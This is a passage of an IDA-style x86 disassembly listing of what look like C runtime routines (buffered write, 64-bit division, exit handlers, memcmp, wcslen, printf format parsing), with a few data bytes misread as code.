		mov	dword ptr [ebp+14h], 1000h


loc_41761D:				; CODE XREF: seg000:00417614j
					; seg000:004176C7j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417651
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417651
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417637
		mov	edi, eax


loc_417637:				; CODE XREF: seg000:00417633j
		push	edi
		push	dword ptr [ebp+8]
		push	dword ptr [esi]
		call	sub_4155B0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+8], edi
		jmp	short loc_417697
; ---------------------------------------------------------------------------


loc_417651:				; CODE XREF: seg000:00417626j
					; seg000:0041762Dj
		cmp	ebx, [ebp+14h]
		jb	short loc_41769C
		test	ecx, ecx
		jz	short loc_417665
		push	esi
		call	sub_4186C4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176DE


loc_417665:				; CODE XREF: seg000:00417658j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_417678
		mov	eax, ebx
		xor	edx, edx
		div	dword ptr [ebp+14h]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41767A
; ---------------------------------------------------------------------------


loc_417678:				; CODE XREF: seg000:00417669j
		mov	edi, ebx


loc_41767A:				; CODE XREF: seg000:00417676j
		push	edi
		push	dword ptr [ebp+8]
		push	dword ptr [esi+10h]
		call	sub_41C40A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176D5
		add	[ebp+8], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176D5


loc_417697:				; CODE XREF: seg000:0041764Fj
		mov	edi, [ebp-4]
		jmp	short loc_4176C5
; ---------------------------------------------------------------------------


loc_41769C:				; CODE XREF: seg000:00417654j
		mov	eax, [ebp+8]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C17
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176DE
		inc	dword ptr [ebp+8]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+14h], eax
		test	eax, eax
		jg	short loc_4176C5
		mov	dword ptr [ebp+14h], 1


loc_4176C5:				; CODE XREF: seg000:0041769Aj
					; seg000:004176BCj
		test	ebx, ebx
		jnz	loc_41761D
		mov	eax, [ebp+10h]


loc_4176D0:				; CODE XREF: seg000:004175FEj
					; seg000:004176E7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176D5:				; CODE XREF: seg000:0041768Cj
					; seg000:00417695j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp-4]
		jmp	short loc_4176E0
; ---------------------------------------------------------------------------


loc_4176DE:				; CODE XREF: seg000:00417663j
					; seg000:004176AEj
		mov	eax, edi


loc_4176E0:				; CODE XREF: seg000:004176DCj
		sub	eax, ebx
		xor	edx, edx
		div	dword ptr [ebp+0Ch]
		jmp	short loc_4176D0

; =============== S U B	R O U T	I N E =======================================



sub_4176E9	proc near		; CODE XREF: sub_40C1E2+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:dword_421094
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417709
		call	ds:dword_421088
		push	eax
		call	sub_41C5B7
		pop	ecx


loc_417705:				; CODE XREF: sub_4176E9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417709:				; CODE XREF: sub_4176E9+Dj
		test	al, 1
		jz	short loc_41772A
		test	[esp+arg_4], 2
		jz	short loc_41772A
		mov	ds:dword_469464, 0Dh
		mov	ds:dword_469468, 5
		jmp	short loc_417705
; ---------------------------------------------------------------------------


loc_41772A:				; CODE XREF: sub_4176E9+22j
					; sub_4176E9+29j
		xor	eax, eax
		retn
sub_4176E9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417730	proc near		; CODE XREF: sub_40C30C+5Fp
					; sub_40C30C+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417751
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417751:				; CODE XREF: sub_417730+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41776D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41776D:				; CODE XREF: sub_417730+27j
		or	eax, eax
		jnz	short loc_417789
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177CA
; ---------------------------------------------------------------------------


loc_417789:				; CODE XREF: sub_417730+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_417797:				; CODE XREF: sub_417730+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_417797
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177C5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177C5
		jb	short loc_4177C6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177C6


loc_4177C5:				; CODE XREF: sub_417730+85j
					; sub_417730+8Bj
		dec	esi


loc_4177C6:				; CODE XREF: sub_417730+8Dj
					; sub_417730+93j
		xor	edx, edx
		mov	eax, esi


loc_4177CA:				; CODE XREF: sub_417730+57j
		dec	edi
		jnz	short loc_4177D4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4177D4:				; CODE XREF: sub_417730+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417730	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:off_437D0C
		test	eax, eax
		jz	short loc_4177E5
		call	eax ; sub_415F1B


loc_4177E5:				; CODE XREF: seg000:004177E1j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178C2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178C2
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	near ptr sub_417829
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417818	proc near		; CODE XREF: sub_417BCE+1Cp
					; sub_41AB7C+342Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	near ptr sub_417829
		add	esp, 0Ch
		retn
sub_417818	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417829	proc far		; CODE XREF: seg000:0041780Fp
					; sub_417818+8p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4694AC, edi
		jnz	short loc_417846
		push	dword ptr [esp+8]
		call	near ptr 3E7E881Eh
		retf
; ---------------------------------------------------------------------------
		db 50h
		dd 0E6917CE8h
; ---------------------------------------------------------------------------
		xor	ebx, esp


loc_417846:				; CODE XREF: sub_417829+Aj
		cmp	[esp+4+arg_0], 0
		push	ebx
		mov	ebx, [esp+8+arg_4]
		mov	ds:dword_4694A8, edi
		mov	ds:byte_4694A4,	bl
		jnz	short loc_41789A
		mov	eax, ds:dword_46AAD4
		test	eax, eax
		jz	short loc_417889
		mov	ecx, ds:dword_46AAD0
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_417888


loc_417875:				; CODE XREF: sub_417829+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41787D
		call	eax


loc_41787D:				; CODE XREF: sub_417829+50j
		sub	esi, 4
		cmp	esi, ds:dword_46AAD4
		jnb	short loc_417875


loc_417888:				; CODE XREF: sub_417829+4Aj
		pop	esi


loc_417889:				; CODE XREF: sub_417829+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178C2
		pop	ecx
		pop	ecx


loc_41789A:				; CODE XREF: sub_417829+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178C2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178C0
		push	dword ptr [esp+8]
		mov	ds:dword_4694AC, edi
		call	ds:dword_421114


loc_4178C0:				; CODE XREF: sub_417829+85j
		pop	edi
		retn
sub_417829	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178C2	proc near		; CODE XREF: seg000:004177EFp
					; seg000:004177FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4178C7:				; CODE XREF: sub_4178C2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178DA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178D5
		call	eax


loc_4178D5:				; CODE XREF: sub_4178C2+Fj
		add	esi, 4
		jmp	short loc_4178C7
; ---------------------------------------------------------------------------


loc_4178DA:				; CODE XREF: sub_4178C2+9j
		pop	esi
		retn
sub_4178C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178DC	proc near		; CODE XREF: seg000:0040F8E3p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 7E88C464h
		inc	edx
		test	eax, eax
		jnz	short loc_4178F2
		call	ds:dword_421088
		jmp	short loc_4178F4
; ---------------------------------------------------------------------------


loc_4178F2:				; CODE XREF: sub_4178DC+Cj
		xor	eax, eax


loc_4178F4:				; CODE XREF: sub_4178DC+14j
		test	eax, eax
		jz	short loc_417903
		push	eax
		call	sub_41C5B7
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417903:				; CODE XREF: sub_4178DC+1Aj
		xor	eax, eax
		retn
sub_4178DC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417910	proc near		; CODE XREF: sub_412B46+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41795C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41795D
		test	eax, 1
		jz	short loc_41793D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41798A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41795A


loc_41793D:				; CODE XREF: sub_417910+20j
					; sub_417910+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41798A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41798A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41793D


loc_41795A:				; CODE XREF: sub_417910+2Bj
					; sub_417910+84j
		pop	edi
		pop	esi

locret_41795C:				; CODE XREF: sub_417910+6j
		retn
; ---------------------------------------------------------------------------


loc_41795D:				; CODE XREF: sub_417910+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_417992
		repe cmpsd
		jz	short loc_417992
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_417985
		cmp	ch, dh
		jnz	short loc_417985
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_417985
		cmp	ch, dh


loc_417985:				; CODE XREF: sub_417910+63j
					; sub_417910+67j ...
		mov	eax, 0


loc_41798A:				; CODE XREF: sub_417910+26j
					; sub_417910+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417910+55j
					; sub_417910+59j
		test	eax, eax
		jz	short loc_41795A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_417985
		dec	eax
		jz	short loc_4179B9
		cmp	dh, ch
		jnz	short loc_417985
		dec	eax
		jz	short loc_4179B9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_417985
		dec	eax


loc_4179B9:				; CODE XREF: sub_417910+8Fj
					; sub_417910+96j
		pop	edi
		pop	esi
		retn
sub_417910	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179BC	proc near		; CODE XREF: sub_413C8F+55p
					; seg000:004148D6p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4179D3


loc_4179C9:				; CODE XREF: sub_4179BC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4179C9


loc_4179D3:				; CODE XREF: sub_4179BC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_4179BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179D9	proc near		; CODE XREF: sub_413C8F+19p
					; sub_413C8F+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417AA6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417AD3
		cmp	ds:dword_4694F8, esi
		jnz	short loc_417A2A
		cmp	edi, esi
		jbe	loc_417AD3


loc_417A09:				; CODE XREF: sub_4179D9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417AD3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417A09
		jmp	loc_417AD3
; ---------------------------------------------------------------------------


loc_417A2A:				; CODE XREF: sub_4179D9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_421064
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_469508
		call	esi
		test	eax, eax
		jnz	loc_417AD2
		call	ds:dword_421088
		cmp	eax, 7Ah
		jz	short loc_417A64


loc_417A55:				; CODE XREF: sub_4179D9+CBj
					; sub_4179D9+F7j
		mov	ds:dword_469464, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417A64:				; CODE XREF: sub_4179D9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417A6C:				; CODE XREF: sub_4179D9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417A8E
		mov	edx, ds:off_437D40
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417A83
		inc	eax


loc_417A83:				; CODE XREF: sub_4179D9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417A6C


loc_417A8E:				; CODE XREF: sub_4179D9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_469508
		call	esi
		test	eax, eax
		jnz	short loc_417AD3
		jmp	short loc_417A55
; ---------------------------------------------------------------------------


loc_417AA6:				; CODE XREF: sub_4179D9+Fj
		cmp	ds:dword_4694F8, esi
		jnz	short loc_417AB9
		push	[ebp+arg_4]
		call	sub_415CD0
		pop	ecx
		jmp	short loc_417AD3
; ---------------------------------------------------------------------------


loc_417AB9:				; CODE XREF: sub_4179D9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_469508
		call	ds:dword_421064
		cmp	eax, esi
		jz	short loc_417A55


loc_417AD2:				; CODE XREF: sub_4179D9+6Bj
		dec	eax


loc_417AD3:				; CODE XREF: sub_4179D9+1Aj
					; sub_4179D9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4179D9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421678
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		call	ds:dword_42116C
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_46947C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_469478, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_469474, ecx
		shr	eax, 10h
		mov	ds:dword_469470, eax
		xor	esi, esi
		push	esi
		call	sub_418A63
		pop	ecx
		test	eax, eax
		jnz	short loc_417B44
		push	1Ch
		call	sub_417BF3
		pop	ecx


loc_417B44:				; CODE XREF: seg000:00417B3Aj
		mov	[ebp-4], esi
		call	loc_41CC32
		call	near ptr 57AA8345h
		jmp	near ptr 46EC3FF9h
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 4FA4h, 4694B0A3h, 4D4DE800h,	8FE80000h, 0E800004Ch
		dd 0FFFFFC6Ah, 8DD07589h, 0E850A445h, 0AB391A0Fh, 4C20E8D3h
		dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
		dd 9C75FF50h, 0ABE85656h, 0E52FE29Fh, 4AC0E850h, 4589FFFFh
		dd 58E850A0h, 8BFFFFFCh, 88BEC45h, 4D89098Bh, 0E8515098h
		dd 4A5Eh, 8BC35959h, 75FFE865h,	0FC4AE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_417BCE	proc near		; CODE XREF: sub_416832+16p
					; seg000:0041C848p ...

arg_0		= dword	ptr  4

		cmp	ds:dword_4694B8, 1
		jnz	short loc_417BDC
		call	sub_41CEC0


loc_417BDC:				; CODE XREF: sub_417BCE+7j
		push	[esp+arg_0]
		call	sub_41CEF9
		push	0FFh
		call	ds:off_437D30
		pop	ecx
		pop	ecx
		retn
sub_417BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BF3	proc near		; CODE XREF: seg000:00417B3Ep

arg_0		= dword	ptr  4

		cmp	ds:dword_4694B8, 1
		jnz	short loc_417C01
		call	sub_41CEC0


loc_417C01:				; CODE XREF: sub_417BF3+7j
		push	[esp+arg_0]
		call	sub_41CEF9
		pop	ecx
		push	0FFh
		call	ds:dword_421114
		retn
sub_417BF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C17	proc near		; CODE XREF: sub_4154CD+46p
					; sub_415A4A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_417D20
		test	al, 40h
		jnz	loc_417D20
		test	al, 1
		jz	short loc_417C4F
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_417D20
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_417C4F:				; CODE XREF: sub_417C17+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_417C89
		cmp	esi, offset dword_438458
		jz	short loc_417C77
		cmp	esi, offset dword_438478
		jnz	short loc_417C82


loc_417C77:				; CODE XREF: sub_417C17+56j
		push	ebx
		call	sub_41D090
		test	eax, eax
		pop	ecx
		jnz	short loc_417C89


loc_417C82:				; CODE XREF: sub_417C17+5Ej
		push	esi
		call	sub_41D04C
		pop	ecx


loc_417C89:				; CODE XREF: sub_417C17+4Ej
					; sub_417C17+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_417CF6
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_417CB9
		push	edi
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_417CEC
; ---------------------------------------------------------------------------


loc_417CB9:				; CODE XREF: sub_417C17+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_417CD4
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_46A780[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_417CD9
; ---------------------------------------------------------------------------


loc_417CD4:				; CODE XREF: sub_417C17+A5j
		mov	eax, offset dword_4383A0


loc_417CD9:				; CODE XREF: sub_417C17+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_417CEC
		push	2
		push	0
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch


loc_417CEC:				; CODE XREF: sub_417C17+A0j
					; sub_417C17+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_417D0A
; ---------------------------------------------------------------------------


loc_417CF6:				; CODE XREF: sub_417C17+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_41C40A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_417D0A:				; CODE XREF: sub_417C17+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_417D16
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_417D25
; ---------------------------------------------------------------------------


loc_417D16:				; CODE XREF: sub_417C17+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_417D28
; ---------------------------------------------------------------------------


loc_417D20:				; CODE XREF: sub_417C17+10j
					; sub_417C17+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_417D25:				; CODE XREF: sub_417C17+FDj
		or	eax, 0FFFFFFFFh


loc_417D28:				; CODE XREF: sub_417C17+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D2C	proc near		; CODE XREF: sub_4154CD+29p
					; sub_415A4A+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_418445
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_417D60
; ---------------------------------------------------------------------------


loc_417D58:				; CODE XREF: sub_417D2C+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_417D60:				; CODE XREF: sub_417D2C+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_418445
		cmp	bl, 20h
		jl	short loc_417D81
		cmp	bl, 78h
		jg	short loc_417D81
		movsx	eax, bl
		mov	al, [eax+421664h]
		and	eax, 0Fh
		jmp	short loc_417D83
; ---------------------------------------------------------------------------


loc_417D81:				; CODE XREF: sub_417D2C+40j
					; sub_417D2C+45j
		xor	eax, eax


loc_417D83:				; CODE XREF: sub_417D2C+53j
		movsx	eax, ds:byte_421684[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_418434	; default
		jmp	ds:off_41844D[eax*4] ; switch jump


loc_417DA1:				; DATA XREF: seg000:off_41844Do
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 00417D9A case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DBC:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		movsx	eax, bl		; jumptable 00417D9A case 2
		sub	eax, 20h
		jz	short loc_417DFF
		sub	eax, 3
		jz	short loc_417DF6
		sub	eax, 8
		jz	short loc_417DED
		dec	eax
		dec	eax
		jz	short loc_417DE4
		sub	eax, 3
		jnz	loc_418434	; default
		or	[ebp+var_4], 8
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DE4:				; CODE XREF: sub_417D2C+A4j
		or	[ebp+var_4], 4
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417D2C+A0j
		or	[ebp+var_4], 1
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DF6:				; CODE XREF: sub_417D2C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417DFF:				; CODE XREF: sub_417D2C+96j
		or	[ebp+var_4], 2
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E08:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 2Ah		; jumptable 00417D9A case 3
		jnz	short loc_417E30
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418434	; default
		or	[ebp+var_4], 4
		neg	eax


loc_417E28:				; CODE XREF: sub_417D2C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E30:				; CODE XREF: sub_417D2C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E28
; ---------------------------------------------------------------------------


loc_417E3F:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		mov	[ebp+var_10], edx ; jumptable 00417D9A case 4
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E47:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 2Ah		; jumptable 00417D9A case 5
		jnz	short loc_417E6A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41850B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418434	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E6A:				; CODE XREF: sub_417D2C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E7C:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		cmp	bl, 49h		; jumptable 00417D9A case 6
		jz	short loc_417EAF
		cmp	bl, 68h
		jz	short loc_417EA6
		cmp	bl, 6Ch
		jz	short loc_417E9D
		cmp	bl, 77h
		jnz	loc_418434	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417E9D:				; CODE XREF: sub_417D2C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EA6:				; CODE XREF: sub_417D2C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EAF:				; CODE XREF: sub_417D2C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EC8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EC8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418434	; default
; ---------------------------------------------------------------------------


loc_417EC8:				; CODE XREF: sub_417D2C+186j
					; sub_417D2C+18Cj
		mov	[ebp+var_30], edx


loc_417ECB:				; CODE XREF: sub_417D2C+6Ej
					; DATA XREF: seg000:off_41844Do
		mov	ecx, ds:off_437D40 ; jumptable 00417D9A	case 0
		mov	[ebp+var_24], edx
